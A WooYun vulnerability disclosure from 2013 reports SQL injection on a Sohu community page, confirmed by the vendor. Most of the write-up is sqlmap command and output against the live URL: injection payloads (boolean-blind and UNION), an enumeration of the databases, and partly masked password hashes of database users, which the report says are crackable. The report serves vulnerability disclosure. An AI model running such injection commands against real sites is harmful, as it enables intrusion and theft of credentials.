当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043587

漏洞标题:搜狐社区SQL注入一枚

相关厂商:搜狐

漏洞作者: D&G

提交时间:2013-11-21 14:23

修复时间:2014-01-05 14:23

公开时间:2014-01-05 14:23

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-21: 细节已通知厂商并且等待厂商处理中
2013-11-21: 厂商已经确认,细节仅向厂商公开
2013-12-01: 细节向核心白帽子及相关领域专家公开
2013-12-11: 细节向普通白帽子公开
2013-12-21: 细节向实习白帽子公开
2014-01-05: 细节向公众公开

简要描述:

sql注入

详细说明:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://club.sohu.com//more/dahuasohu_cache.php?kindid=664 --passwords
sqlmap/1.0-dev-e5e39bc - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 07:19:17
[07:19:17] [INFO] resuming back-end DBMS 'mysql'
[07:19:17] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: kindid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: kindid=664 AND 4357=4357
Type: UNION query
Title: MySQL UNION query (NULL) - 19 columns
Payload: kindid=664 UNION ALL SELECT NULL,NULL,CONCAT(0x3a6c67613a,0x504b59654a5a78736c6b,0x3a6e63663a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
[07:19:17] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.0.55
back-end DBMS: MySQL 5


可以读mysql库

[08:17:42] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.0.55
back-end DBMS: MySQL 5
[08:17:42] [INFO] fetching database names
available databases [6]:
[*] backup
[*] bbs
[*] forum
[*] information_schema
[*] mysql
[*] mysql_identity


打过码的hash,存在弱密码,cmd5可破解。

do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] club [1]:
password hash: 019f14123412343575b
[*] mysql [1]:
password hash: 1d217123412341b1c
[*] mysqlmon [1]:
password hash: *565E94D81234123412341234DE148B6C0A37F
[*] pingmysql [1]:
password hash: *565E941234123555148B6C0A37F
[*] root [1]:
password hash: NULL
[*] wap [1]:
password hash: 6b2962355dfdd9d49


漏洞证明:

打过码的hash,存在弱密码,cmd5可破解。

do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] club [1]:
password hash: 019f14123412343575b
[*] mysql [1]:
password hash: 1d217123412341b1c
[*] mysqlmon [1]:
password hash: *565E94D81234123412341234DE148B6C0A37F
[*] pingmysql [1]:
password hash: *565E941234123555148B6C0A37F
[*] root [1]:
password hash: NULL
[*] wap [1]:
password hash: 6b2962355ddf9d49

修复方案:

版权声明:转载请注明来源 D&G@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-11-21 17:28

厂商回复:

感谢对sohu安全的支持。^_^

最新状态:

暂无